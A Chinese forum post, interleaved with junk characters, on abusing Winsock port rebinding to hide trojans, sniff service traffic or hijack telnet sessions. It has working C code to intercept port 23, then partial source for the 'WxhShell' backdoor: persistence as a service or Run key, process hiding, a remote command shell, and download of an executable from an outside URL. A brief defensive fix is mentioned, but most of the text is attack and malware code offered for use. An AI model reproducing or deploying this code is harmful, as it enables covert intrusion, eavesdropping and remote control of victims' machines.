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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u[{tb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x\QY@9  
5Ba[k[b^  
  saddr.sin_family = AF_INET; T~b>B`_  
t='# |');  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %Ts PyiYl  
^Idle*+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $Y 7c  
hTwA%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }MlwC;ot  
. BiCBp<  
  这意味着什么?意味着可以进行如下的攻击: ,\v91Rp~?  
Wq^qpN)5Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J/3_C6UZ  
t-LG }nv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9aJ%`i  
/y>>JxAEb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B*E2.\~  
,k G>?4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E_zIg+(+  
Oez>X=Xf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z,|{fKtY}  
c*R/]Dn   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rm} R>4  
xz:J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }cN@[3v  
)$,"u4  
  #include YTw#J OO  
  #include Ve 4u +0  
  #include Jnv@.  
  #include    [{X^c.8G)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |^9BA-nA  
  int main() }Nb8}(6  
  { b?eu jxqg  
  WORD wVersionRequested; \.g\Zib )  
  DWORD ret; y7^{yS[,  
  WSADATA wsaData; $k$4% 7  
  BOOL val; "HXYNS>  
  SOCKADDR_IN saddr; $t/x;< .H  
  SOCKADDR_IN scaddr; \8uIER5)  
  int err; x=#VX\5k:  
  SOCKET s; 0T>H)c6:\  
  SOCKET sc; -Qn=|2Mm?  
  int caddsize; q=lAb\i  
  HANDLE mt; *x) 8fAr  
  DWORD tid;   pc?>cs8  
  wVersionRequested = MAKEWORD( 2, 2 ); PH{_ ,X  
  err = WSAStartup( wVersionRequested, &wsaData ); Dn>%%K@0  
  if ( err != 0 ) { S'HnBn /  
  printf("error!WSAStartup failed!\n"); t R6 +G  
  return -1; rhL"i^  
  } 'L{8@gq i  
  saddr.sin_family = AF_INET; hTbI -u7BF  
   |_ G )qp;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DvM5 k  
,y%3mR_~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !s@Rok  
  saddr.sin_port = htons(23); eu|j=mB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HD N9.5 S  
  { =f(cH152T  
  printf("error!socket failed!\n"); \RVW  
  return -1; _`#3f1F@[  
  } D13Rx 6b  
  val = TRUE; al`3Lu0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "l >Igm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BI j=!!  
  { q{ /3V  
  printf("error!setsockopt failed!\n"); ltFq/M  
  return -1; s{w[b\rA  
  } X=C1/4wU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O 1oxZj <  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,hVvve,j}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KzQ3.)/q  
=tU{7i*+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a {ab*tM  
  { fo4.JyBk  
  ret=GetLastError(); l$hJE;n  
  printf("error!bind failed!\n"); @x/T&67k  
  return -1; Pf F=m'  
  } ,TRTRb;  
  listen(s,2); "@9? QI}  
  while(1) (5Sivw*mP  
  { ,|88r=}  
  caddsize = sizeof(scaddr); ;}z\i  
  //接受连接请求 hva2o`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yhp]x   
  if(sc!=INVALID_SOCKET) n8hRaNHl2  
  { *H[Iq!@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .`CZUKG  
  if(mt==NULL) sK=0Np=`  
  { A6oq.I0  
  printf("Thread Creat Failed!\n"); <[GYLN[0Q  
  break; Ix|~f1*%  
  } wZh:F !  
  } kcDyuM`  
  CloseHandle(mt); {_U Kttp  
  } B4XZko(  
  closesocket(s); ?RzDQy D  
  WSACleanup(); Eq:2k)BE  
  return 0; hAj1{pA,  
  }   _hG;.=sr  
  DWORD WINAPI ClientThread(LPVOID lpParam) s s 3t  
  { irk*~k ?  
  SOCKET ss = (SOCKET)lpParam; b6E<r>q  
  SOCKET sc; W9oAjO NE  
  unsigned char buf[4096]; eh R{X7J  
  SOCKADDR_IN saddr; B cj/y4"  
  long num; d1joVUYE  
  DWORD val; _ IeU+tS  
  DWORD ret; g+PPW88P;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E0oU$IB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [i]r-|_K  
  saddr.sin_family = AF_INET; Npn=cLC&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Iak0 [6Ey  
  saddr.sin_port = htons(23); TzBzEiANn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y\v-,xPm  
  { 7< 9L?F2  
  printf("error!socket failed!\n"); :c8n[+5  
  return -1; (qwdQMj`  
  } A-CUv[pM  
  val = 100; yg]2erR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fE,9zUo  
  { 0@Kkl$O>mb  
  ret = GetLastError(); sCl$f7"  
  return -1; 4e9q`~ sO  
  } 9N[EZhW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3z;_KmM  
  { x|eeRf|  
  ret = GetLastError(); kcB+_  
  return -1; djT5 X  
  } fRTo.u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7t-Lz| $"  
  { ) gR=<oa  
  printf("error!socket connect failed!\n"); r+<{S\ Q  
  closesocket(sc); bXM/2Z?6  
  closesocket(ss); A\te*G0:S  
  return -1; *@V*~^V"J[  
  } ix Z)tNz  
  while(1) 1@XgTL4  
  { !NKmx=I]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =7 ,Kf} 6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #G3N(wV3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9h(IUD{8  
  num = recv(ss,buf,4096,0); u@%|k c`  
  if(num>0) U/qE4u1J6M  
  send(sc,buf,num,0); |sgXh9%x<  
  else if(num==0) -T/W:-M(  
  break; A~lIa$U$b  
  num = recv(sc,buf,4096,0); Ua*&_~7kJ  
  if(num>0) m(sXk}e;1  
  send(ss,buf,num,0); E@ h y7X  
  else if(num==0) $M"0BZQ?y!  
  break; Tvf~P w  
  } Uedvc5><t  
  closesocket(ss); `{FwTZ=6{  
  closesocket(sc); i RmQ5ezk  
  return 0 ; $R{8z-,Q  
  } F@YV]u>N  
dGgP_ S  
@Z\2*1y6  
========================================================== :Eh'(   
Ri?\m!o  
下边附上一个代码,,WXhSHELL {w`:KR6o7  
I^Qx/uTKw  
========================================================== OKwOugi0  
)wf\F6jN  
#include "stdafx.h" V"d=.Hb>  
nx4P^P C  
#include <stdio.h> J l7z|QS  
#include <string.h> w4MwD?i]R  
#include <windows.h> K^i"9D)A  
#include <winsock2.h> 5A_4\YpDR  
#include <winsvc.h> %]Cjhs"v  
#include <urlmon.h> F>Y9o- o2  
fCEz-TMW  
#pragma comment (lib, "Ws2_32.lib") /! ^P)yU,  
#pragma comment (lib, "urlmon.lib") &`:rp!Lc  
@oH[SWx  
#define MAX_USER   100 // 最大客户端连接数 U|fTb0fB  
#define BUF_SOCK   200 // sock buffer q9}2  
#define KEY_BUFF   255 // 输入 buffer #w~0uCzQ@  
N <pbO#e  
#define REBOOT     0   // 重启 0U&d q#  
#define SHUTDOWN   1   // 关机 By)3*<5a_  
*PB/iVH%6  
#define DEF_PORT   5000 // 监听端口 $U'3MEEw  
~'BUrX\  
#define REG_LEN     16   // 注册表键长度 WV_`1hZX  
#define SVC_LEN     80   // NT服务名长度 /(%Ig,<"JC  
;mJkqbVol  
// 从dll定义API anx&Xj|=.F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r>3^kL5UI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k46gY7y,9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QAaF@Do  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dF2@q@\.+  
:`<psvd  
// wxhshell配置信息 ;nf&c;D  
struct WSCFG { S:s 3EM  
  int ws_port;         // 监听端口 :_c*m@=z(  
  char ws_passstr[REG_LEN]; // 口令 ?Leyz  
  int ws_autoins;       // 安装标记, 1=yes 0=no MuSaK %  
  char ws_regname[REG_LEN]; // 注册表键名 }1rvM4{/+f  
  char ws_svcname[REG_LEN]; // 服务名 !"(u_dFw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IgA.%}II}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P7>IZ >bw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s-5wbi.C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8m7eaZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eYDgEM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #J~Xv:LgD  
NTVHnSoHh  
}; fIEw(k<*  
z.59]\;U>  
// default Wxhshell configuration /d]~ly @uI  
struct WSCFG wscfg={DEF_PORT, HwW6tQ  
    "xuhuanlingzhe", .P%ym~S  
    1, z"av|(?d  
    "Wxhshell", Xv*}1PZH  
    "Wxhshell", 5h(jeT8"  
            "WxhShell Service", uri*lC  
    "Wrsky Windows CmdShell Service", h+xA?[ c=  
    "Please Input Your Password: ", %ph"PR/t?  
  1, /.2u.G  
  "http://www.wrsky.com/wxhshell.exe", c'~[!,[b<  
  "Wxhshell.exe" =?+w)(*0c  
    }; 9RB`$5F ;  
rV U:VL`2  
// 消息定义模块 <4sj@C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DOT=U _  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `;}H%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xi.IRAZX  
char *msg_ws_ext="\n\rExit."; p~FQcW'a~  
char *msg_ws_end="\n\rQuit."; A8mlw#`E8b  
char *msg_ws_boot="\n\rReboot..."; @bY?$fj_u  
char *msg_ws_poff="\n\rShutdown..."; *78)2)=~  
char *msg_ws_down="\n\rSave to "; A~XOK;sB  
uNg'h/^NZ|  
char *msg_ws_err="\n\rErr!"; e|~C?Ow'J  
char *msg_ws_ok="\n\rOK!"; /bi6>GaC:E  
?Oqzd$-  
char ExeFile[MAX_PATH]; $wgc vySx  
int nUser = 0; QjqBO+  
HANDLE handles[MAX_USER]; ,FY-d$3)  
int OsIsNt; jwq\stjD  
,y{0bq9*2  
SERVICE_STATUS       serviceStatus; `i9N )3 X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /M]eZ~QKD  
=g >.X9lr  
// 函数声明 /Ht/F)&P  
int Install(void); KS?mw`Nr  
int Uninstall(void); KjBOjD'I  
int DownloadFile(char *sURL, SOCKET wsh); (Hl8U  
int Boot(int flag); U>in2u 9  
void HideProc(void); .<HC[ls  
int GetOsVer(void); 6<<'bi  
int Wxhshell(SOCKET wsl); "bPCOJ[v9  
void TalkWithClient(void *cs); ' *}^@[&  
int CmdShell(SOCKET sock); rAM *\=  
int StartFromService(void); ka!Bmv)  
int StartWxhshell(LPSTR lpCmdLine); TR~|c|B  
l 4!kxXf-<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6NzBpur 2H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (1rJFl!  
(=`Z0)=  
// 数据结构和表定义 8W;xi:CC  
SERVICE_TABLE_ENTRY DispatchTable[] = n>br,bQe  
{ AfUZO^<  
{wscfg.ws_svcname, NTServiceMain}, \QliHm!  
{NULL, NULL} Hw\([j*  
}; ]7v81G5E  
r|*:9|y{"/  
// 自我安装 O+p]3u  
int Install(void) 3R'.}^RN  
{ ``+c`F?5  
  char svExeFile[MAX_PATH]; 0{-`Th+h  
  HKEY key; TH<fbd  
  strcpy(svExeFile,ExeFile); x)j/  
2H[=l Y  
// 如果是win9x系统,修改注册表设为自启动 CdDH1[J  
if(!OsIsNt) { $4DFgvy$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XpR.rq$]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4pLQ"&>}80  
  RegCloseKey(key); {cmo^~[L$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (L`l+t1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $[j-C9W  
  RegCloseKey(key); ~l(G6/R  
  return 0; jaK'W  
    } ftO+.-sm<  
  } {An8/"bv}  
} F='Xj@&O  
else { 'uPxEu4 >4  
EfFj!)fz  
// 如果是NT以上系统,安装为系统服务 *Hx j_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A(q~{  
if (schSCManager!=0) W"W@WG9X0  
{ l{nB.m2  
  SC_HANDLE schService = CreateService =>HIF#jU  
  ( xR0~S 3caI  
  schSCManager, B1x'5S;Bq  
  wscfg.ws_svcname, 2~#ZO?jE6  
  wscfg.ws_svcdisp, /uC+.B9k  
  SERVICE_ALL_ACCESS, )WaX2uDA?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dK:l&R  
  SERVICE_AUTO_START, <dq,y>  
  SERVICE_ERROR_NORMAL, !8wZw68"  
  svExeFile, )W[KD,0+j  
  NULL, DfAiL(  
  NULL, }UyzM y,  
  NULL, JOA%Y;`<#  
  NULL, ;[?J5X,  
  NULL UeMnc 5y  
  ); (nkUeQQN  
  if (schService!=0) O4lxeiRgC  
  { z zulVj*  
  CloseServiceHandle(schService); D /,|pC  
  CloseServiceHandle(schSCManager); zb@L)%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 38"8,k  
  strcat(svExeFile,wscfg.ws_svcname); /uy&2l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V_NjkyI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I'KR'1z 9  
  RegCloseKey(key); L~^e\^sP  
  return 0; Ln"+nKr  
    } j zxf"X-  
  } @)aXNQY  
  CloseServiceHandle(schSCManager); vG'vgUo  
} ~@b9  
} / e~  
*T.={>HE8  
return 1; 2jI4V;H8g  
} ,gAr|x7_  
8.Pcr<  
// 自我卸载 a(Gk~vD;"  
int Uninstall(void) Pur"9jHa4  
{ f)&`mqeE  
  HKEY key; Mft0D j/  
+^^S'mP8  
if(!OsIsNt) { i~v@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rwi2kk#@P  
  RegDeleteValue(key,wscfg.ws_regname); {GGO')p  
  RegCloseKey(key); $5q{vy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vp- n(Z  
  RegDeleteValue(key,wscfg.ws_regname); %xH>0  
  RegCloseKey(key); 73! x@Duh  
  return 0; 18[?dV  
  } d\1:1ucV  
} a=}">=]7  
} L!G9O]WB  
else { uK"$=v6|  
2vk8+LA(6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P:zEx]Y%  
if (schSCManager!=0) W #JVUGYD  
{ NO0[`jy(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;6\Ski0=l  
  if (schService!=0) EF_h::A_  
  { 1*x5/b  
  if(DeleteService(schService)!=0) { ?j^?@%f0  
  CloseServiceHandle(schService); Bv |jo&0n  
  CloseServiceHandle(schSCManager); %(O^as  
  return 0; q)zu}m  
  } ^<5^9]x  
  CloseServiceHandle(schService); Qh1Kl_a?Lv  
  } lHj7O &+  
  CloseServiceHandle(schSCManager); aaqjE  
} ZQ-z2s9U  
} Z "+rg9/p  
Jn^Wzn[q  
return 1; >Y*iy  
} Do{*cSd  
XQ|j5]  
// 从指定url下载文件 (cqA^.Td  
int DownloadFile(char *sURL, SOCKET wsh) `P)64So-1  
{ bj* v'  
  HRESULT hr; Zj /H3,7  
char seps[]= "/"; *FG4!~<e  
char *token; ud~VQXZo  
char *file; jrMGc=KL  
char myURL[MAX_PATH]; 1<Ztk;$A  
char myFILE[MAX_PATH]; 5G]#'tu  
zs]>XO~Jg  
strcpy(myURL,sURL); \)6?u_(u  
  token=strtok(myURL,seps); (x*2BEn|  
  while(token!=NULL) #ui%=ja[:~  
  { \2LA%ZU  
    file=token; ,~68~_)  
  token=strtok(NULL,seps); V'| g  
  } {<V|Gr  
*dn-,Q%`  
GetCurrentDirectory(MAX_PATH,myFILE); u BW  
strcat(myFILE, "\\"); Gm?"7R.  
strcat(myFILE, file); ?2bE=|  
  send(wsh,myFILE,strlen(myFILE),0); ]a@v)aa-  
send(wsh,"...",3,0); ]MH \3g;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3 T#3<gqM[  
  if(hr==S_OK) 6`PGV+3j  
return 0; I{P$B-  
else @0x.n\M_  
return 1; cqU/Y_%l'  
*~aI>7H  
} AXv3jH,HF  
oeqJ?1=!  
// 系统电源模块 XzRWY\x  
int Boot(int flag) [}g5Z=l  
{ s_e#y{ {C2  
  HANDLE hToken; Y~\xWYR  
  TOKEN_PRIVILEGES tkp; uZ{xt6 f  
tYxlM!  
  if(OsIsNt) { WlJRKM2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ="PywZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0~I) /T  
    tkp.PrivilegeCount = 1; BqJrL/(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :zk.^q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^rZ+H@p:6  
if(flag==REBOOT) { xuC6EK+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sg~/RSJ3  
  return 0; *h8XbBZH  
} GTX&:5H\t  
else { y"n~ET}e7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3uiitjA]  
  return 0; ,wy:RVv@e  
} R~ u7;Wv  
  } ry=[:\Z~  
  else { ]5MR p7  
if(flag==REBOOT) { ]7ZC>.t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6 v#sq  
  return 0; s`#j8>`M  
} uX!y,a/"  
else { HAOrwJFqU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0R{R=r]  
  return 0; 2+rao2  
} "alO"x8t  
} JQv ZTwSI  
Xrs~ove1V  
return 1; #nL0Hx7]E  
} YmF(o  
2QD B'xs3  
// win9x进程隐藏模块 T</gWW  
void HideProc(void) 9d|7#)a;  
{ NWX%0PGZ  
%Y[/Ucdm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MZ[g|o!)v  
  if ( hKernel != NULL ) v\T1,Z@N^  
  { Ji:@z%osr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }Qu 7o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VZl0)YLK  
    FreeLibrary(hKernel); S`-IQ,*}  
  } v2<gkCK^  
^OsUWhkV  
return; iC\=U  
} aPMM:RP`  
%}MM+1eu  
// 获取操作系统版本 )O'<jwp$  
int GetOsVer(void) f;6d/?=~  
{ 2Nzcej  
  OSVERSIONINFO winfo; 1e%Xyqb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vi~+C@96  
  GetVersionEx(&winfo); D*b|(Oi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '\qr=0aW  
  return 1; FX%E7H  
  else ]zAg6*-/B  
  return 0; p#NZ\qJ  
} ZSf+5{2m  
*38\&"s4_  
// 客户端句柄模块 ;\0RXirk  
int Wxhshell(SOCKET wsl) IKj1{nZvDc  
{ `2+52q<FO  
  SOCKET wsh; l0o_C#"<S  
  struct sockaddr_in client; W u{nC  
  DWORD myID; \Fjq|3`<l  
NV~i4R*#  
  while(nUser<MAX_USER) <T9m.:l  
{ G7xjW6^T  
  int nSize=sizeof(client); k82LCV+6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "6h.6_bTw  
  if(wsh==INVALID_SOCKET) return 1; #J9XcD{1  
1@Gv`{v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x/v+7Pt_  
if(handles[nUser]==0) 2?&ptN) `N  
  closesocket(wsh); bsDUFXH]  
else D]y.!D{l2  
  nUser++; A>S2BL#=  
  } l^Z~^.{y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  yFv3>\  
(b5af_ c  
  return 0; XS@6jbLE  
} JE!Xf}nEi  
cFo-NI2  
// 关闭 socket Wb$bCR#?<  
void CloseIt(SOCKET wsh) 1Tkz!  
{ ".=EAXVU  
closesocket(wsh); OC.@C}u  
nUser--; 0}!lN{m?  
ExitThread(0); .$;GVJ-:5  
} $'wl{D"  
tcZ~T  
// 客户端请求句柄 ~{{:-XkVB  
void TalkWithClient(void *cs) /vKDlCH*  
{ 6IH^rSUSK  
fx5vaM!  
  SOCKET wsh=(SOCKET)cs; j/\XeG>  
  char pwd[SVC_LEN]; [0emOS  
  char cmd[KEY_BUFF];  73X]|fy  
char chr[1]; d)HK9T|B  
int i,j; 7v_e"[s~  
c+c^F/  
  while (nUser < MAX_USER) { _BV:i:z  
7BnP,Nd"W  
if(wscfg.ws_passstr) { OX2\H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =r2d{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gf@Dy6<  
  //ZeroMemory(pwd,KEY_BUFF); H?m2|.  
      i=0; #</yX5!V  
  while(i<SVC_LEN) { pY@+.V`a  
FdD'Hp+  
  // 设置超时 fi)ypv*  
  fd_set FdRead; ]SI`fja/  
  struct timeval TimeOut; f~Su F,o@h  
  FD_ZERO(&FdRead); iGIaZ!j aW  
  FD_SET(wsh,&FdRead); Q\Eq(2p  
  TimeOut.tv_sec=8; B5hGzplS  
  TimeOut.tv_usec=0; e0P1FD<@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &2DW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *!/9?M{p  
7gkHKdJoMA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BeRn9[  
  pwd=chr[0]; /[p4. FL  
  if(chr[0]==0xd || chr[0]==0xa) { B.o&%5dG  
  pwd=0; GUxhCoxb  
  break; sYL+;(#t  
  } #{(rOb6H)  
  i++; |[ge ,MO:  
    } Ok@5`?08  
8`D_"3j3g\  
  // 如果是非法用户,关闭 socket @'QBrE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ez )Go6Q  
} _> *"6  
\,WPFV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U*Q$:%72vO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Ah4N2nL-b  
j<c_*^/'9  
while(1) { !@Ox%vK  
C$P3&k#W  
  ZeroMemory(cmd,KEY_BUFF); |qBo*OcO  
*]LM2J  
      // 自动支持客户端 telnet标准   [W2k#-%G  
  j=0; Ne=D $o  
  while(j<KEY_BUFF) { *+ 7#z;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <X: 9y  
  cmd[j]=chr[0]; 7L!k9"X`0F  
  if(chr[0]==0xa || chr[0]==0xd) { iZ{D_uxq  
  cmd[j]=0; ZjzQv)gZ  
  break; "m!Cl-+u  
  } TPrwC~\B/  
  j++; "Kqe4$  
    } NTV0DkX  
%bAv.'C  
  // 下载文件 \t}!Dr+yN  
  if(strstr(cmd,"http://")) { bNXT*HOZb3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1&dWt_\  
  if(DownloadFile(cmd,wsh)) ^P[-HA|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xHf l>C'  
  else YcIk{_N3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4FYws5]$  
  } C&Rv)j  
  else { mF "ctxE  
j}y"  
    switch(cmd[0]) { HxkhlNB  
  ,ujoGSx}  
  // 帮助 4Y Kb~1qkk  
  case '?': { C\1Dy5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mX %;  
    break; >]Y`-*vw&  
  } _KKG^ u<  
  // 安装 |W?x6]~.R  
  case 'i': { R#oXQaBJ  
    if(Install()) NKRNEq!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =>4,/g3  
    else Ra.<D.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4\t9(_  
    break; ^!=+$@<  
    } xK /NzVt  
  // 卸载 18F7;d N8  
  case 'r': { z55P~p  
    if(Uninstall()) /KH3v!G0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R`Q9|yF\  
    else OD{Rh(Id  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -V(5U! ^B  
    break; !tN]OQ)'  
    } wF}/7b54  
  // 显示 wxhshell 所在路径 \T>f+0=4  
  case 'p': {  dY|(  
    char svExeFile[MAX_PATH]; ZVViu4]?y  
    strcpy(svExeFile,"\n\r"); 9^XT,2Wwf  
      strcat(svExeFile,ExeFile); uYF_sf  
        send(wsh,svExeFile,strlen(svExeFile),0); UDhW Y.`'~  
    break; iYR8sg[' #  
    } fZ$8PMZv  
  // 重启 H>k=V<  
  case 'b': { s<tdn[d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4?;1cXXA  
    if(Boot(REBOOT)) /&a[D 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5yuR[ VU  
    else { Sky!ZN'I  
    closesocket(wsh); Jv a&"}Cb  
    ExitThread(0); 0fwo8NgX  
    } MYDAS-  
    break; c[f  
    } [{L4~(uU8  
